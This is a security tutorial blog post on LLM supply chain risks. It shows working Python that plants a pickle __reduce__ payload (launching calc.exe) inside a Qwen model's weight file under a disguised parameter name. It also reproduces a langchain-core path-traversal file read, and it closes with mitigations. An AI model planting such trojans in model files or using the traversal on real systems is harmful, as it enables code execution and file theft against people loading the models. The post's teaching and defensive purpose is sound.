Skip to content

LLM Supply Chain Vulnerabilities

A supply chain is the entire pipeline a product goes through — raw materials, production, shipping, and delivery to the customer. On the internet, it covers development, distribution, and the user’s download and use. Supply chain security means security across that whole process: a vulnerable plugin used during development, a vulnerable third-party component, a compromised dependency library. In other words, some node in the chain has a security problem.

Note that a vulnerability in your own software is not a supply chain issue. Supply chain means something else brought the problem in — someone else’s library, framework, plugin, or dependency.

If you cook a bad meal yourself, that’s not a supply chain problem. If the vegetables you bought turn out to be spoiled, that is.

In AI, supply chain security spans the whole lifecycle — every step and component involved in development, deployment, and maintenance: data collection, algorithm development, model training, model deployment, model maintenance, and so on.

A backdoored pretrained model, a problem with third-party training data (such as the data poisoning covered earlier), or third-party extensions and ecosystems (such as the insecure plugins covered earlier) are all supply chain issues.

For data poisoning and insecure plugins, see the earlier posts. Here I’ll walk through two scenarios: a model with an implanted trojan, and a third-party dependency problem.

Many open-source models are trained on PyTorch, and their weights default to formats like pt and bin. Those formats rely on Python’s standard pickle module, which supports serialization and deserialization. During deserialization, pickle can execute arbitrary code through the __reduce__ magic method.

Saving a trained model is a serialization step — Python objects are converted into a byte stream and written to disk. Loading a model is deserialization. So for PyTorch models, this mechanism can be used to plant a trojan.

Before that, let’s test pickle serialization and deserialization to make the mechanism clear. Here’s the serialization code:

import pickle
import os
class BadGuy:
def __reduce__(self):
return (os.system, ("calc.exe",))
# Serialize — equivalent to saving a model file
with open("bad.bin", "wb") as f:
pickle.dump(BadGuy(), f)
print("Malicious file created: bad.bin")

Running it produces a bin file. Here’s the deserialization code:

import pickle
# Deserialize — equivalent to loading a model file
with open("bad.bin", "rb") as f:
data = pickle.load(f)
print("Load complete")

The reduce method inside the bin file executes automatically. Now let’s test this against a real model.

I’ll use Qwen1.5-0.5B. The approach: pull the model, inject the malicious class into the model’s layer structure, and save a new model. Note that for security, Hugging Face now requires models to be provided in safetensors format; the platform has essentially eliminated bin-format models. That format never executes code, so it’s safe.

Pulling the Qwen model gives us safetensors by default, but we can save it as bin:

import torch
from transformers import AutoModelForCausalLM, AutoConfig
import os
import sys
model_id = "Qwen/Qwen1.5-0.5B"
model = AutoModelForCausalLM.from_pretrained(model_id)
# Extract the weight dictionary
state_dict = model.state_dict()
# Build the trojan
class TrojanPayload:
def __reduce__(self):
return (os.system, ("calc.exe",))
# Find a real parameter node to inject into
# Qwen's real layer structure includes model.layers.0.mlp.down_proj.weight
# We fabricate an extremely convincing metadata node next to it
state_dict["model.layers.0.mlp.down_proj.bias_metadata_v2"] = TrojanPayload()
# Save as a bin file — note that safetensors never executes code
torch.save(state_dict, os.path.join("./", "pytorch_model.bin"))
# Save the config so the transformers library recognizes the model
model.config.save_pretrained("./")
print("eval model success")

After running it, the current directory contains a pytorch_model.bin file and a config.json. Loading with torch triggers code execution:

import torch
try:
weights = torch.load("./pytorch_model.bin", weights_only=False)
print("hack model load success")
except Exception as e:
print(f"error: {e}")

The result:

Note that the above loads with torch. You can also load with transformers:

from transformers import AutoModelForCausalLM
try:
model = AutoModelForCausalLM.from_pretrained("./")
print("hack model load success")
except Exception as e:
print(f"error: {e}")

In recent versions, though, transformers added a check on the installed PyTorch version. If PyTorch is older than 2.6, transformers refuses to call load to load the model, because PyTorch 2.6 and later only load the data portion and won’t execute embedded instructions.

My PyTorch here is below 2.6, so loading fails and transformers blocks the model call.

image-20260514150615935

If you need to load bin models yourself, scan them with tools such as modelscan. An attacker can also encrypt or encode the backdoor so scanners miss it. In that case, load the model in a VM with networking disabled and capture traffic with Wireshark for analysis.

Next, a third-party library scenario. I’ll use LangChain, a framework for building agents — it can connect to models and define the tools a model can call. First, a look at how LangChain is used.

Install the libraries:

pip install langchain langchain-community langchain-experimental

Then call a local model through LangChain, with a toolset that defines a Python execution tool — PythonREPLTool, which ships with LangChain. The instruction to the model is a math calculation. On its own, the model predicts the next character at random and can’t reliably compute the result, so it writes code and runs it through the Python tool to get the answer:

from langchain_community.chat_models import ChatOllama
from langchain_experimental.agents.agent_toolkits import create_python_agent
from langchain_experimental.tools import PythonREPLTool
# Call the local model
llm = ChatOllama(model="qwen2.5-coder:7b", temperature=0.1)
# Prepare the toolbox: just one Python execution tool here
# PythonREPLTool takes the Python code the model writes, runs it on the server, and returns the result.
python_tool = PythonREPLTool()
# Combine the model and the tool into an agent
agent = create_python_agent(
llm=llm,
tool=python_tool
)
# User question
user_question = "Use Python to print the first 10 numbers of the Fibonacci sequence."
print(f"\n👤 [User]: {user_question}")
# Run the task
try:
agent.invoke({"input": user_question})
except Exception as e:
print(f"Execution error: {e}")

Now that we’ve seen the basics, let’s reproduce a vulnerability: CVE-2026-34070. When LangChain loads a config file, it doesn’t validate the path, so directory traversal allows arbitrary file reads. Versions below 1.2.22 are affected. Suppose our AI code pulls in the LangChain library — that’s a supply chain problem. First, create a Python virtual environment for testing:

Terminal window
# Create the virtual environment
python -m venv langchain_cve
# Activate it
langchain_cve\Scripts\activate
# Install the vulnerable version
pip install langchain-core==1.2.21

Then run the script below. The config file’s path is placed two directories up and read with ../../:

import os
from langchain_core.prompts.loading import load_prompt_from_config
malicious_config = {
"_type": "prompt",
"template_path": "../../flag.txt",
"input_variables": []
}
try:
# On a vulnerable version, this loads the flag file from two directories up as a Prompt
prompt = load_prompt_from_config(malicious_config)
print(">>>", prompt.template)
except Exception as e:
print("fail", e)

The file contents are read successfully:

image-20260514174258516

Now upgrade LangChain:

Terminal window
pip install --upgrade langchain-core

Run the script again after upgrading: it reports that it can’t read across directories.

image-20260514174309751

By the boundary definition of supply chain issues, any vulnerability not caused by code you wrote yourself counts as a supply chain problem.

That covers LLM supply chain vulnerabilities. Thanks for reading.